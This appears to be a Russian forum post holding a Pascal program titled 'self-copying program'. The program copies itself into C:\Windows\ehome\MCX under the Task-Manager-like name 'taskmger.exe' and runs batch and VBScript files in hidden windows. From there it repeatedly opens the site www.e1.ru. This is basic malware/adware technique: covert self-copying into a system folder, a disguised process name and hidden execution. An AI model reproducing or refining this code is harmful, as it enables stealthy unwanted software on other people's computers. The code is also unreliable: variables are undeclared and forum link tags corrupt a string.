Самокопирование программы

a:integer;
f:boolean;
h,fo,q,z,del,dv:text;
begin
d:=GetCurrentDir;
if d='C:\Windows\ehome\MCX' then begin
 
assign(fo, 'fo.bat');
rewrite(fo);
assign(h, 'v.vbs');
rewrite(h);
writeln(h, 'Dim oShell');
  writeln(h, 'Set oShell = WScript.CreateObject ("WSCript.shell")');
  write(h, 'oShell.run "');
  writeln(h,'C:\Windows\ehome\MCX\fo.bat", 0');
  write(h,'Set oShell = Nothing');
  close(h);
  
  s:='start [url]www.e1.ru';[/url]
  write(fo,s);
  close(fo);
sleep(10000);
for a:=1 to 4 do
begin
exec('C:\Windows\ehome\MCX\v.vbs');
sleep(20000);
end;
end;
 
 
 
if d<>'C:\Windows\ehome\MCX' then begin
assign(q, 'C:\Windows\ehome\MCX\lox.vbs');
rewrite(q);
      assign(h, 'hide.vbs');
      rewrite(h);
              assign(fo, 'b.bat');
              rewrite(fo);
              write(fo,'copy taskmngr.exe C:\Windows\ehome\MCX');
              close(fo);
      writeln(h, 'Dim oShell');
      writeln(h, 'Set oShell = WScript.CreateObject ("WSCript.shell")');
      write(h, 'oShell.run "');
      writeln(h,d,'\b.bat", 0');
      write(h,'Set oShell = Nothing');
      close(h);
      exec('hide.vbs');
      sleep(8000);
      writeln(q, 'WScript.Sleep 5000');
writeln(q, 'Set WshShell = WScript.CreateObject("WScript.Shell")');
write(q, 'WshShell.Run"C:\Windows\ehome\MCX\taskmger.exe", 0, true');
close(q);
assign(z,'C:\Windows\ehome\MCX\in.txt');
rewrite(z);
write(z,d);
close(z);
f:=renamefile('C:\Windows\ehome\MCX\taskmngr.exe','C:\Windows\ehome\MCX\taskmger.exe');
exec('C:\Windows\ehome\MCX\lox.vbs');
end;
end.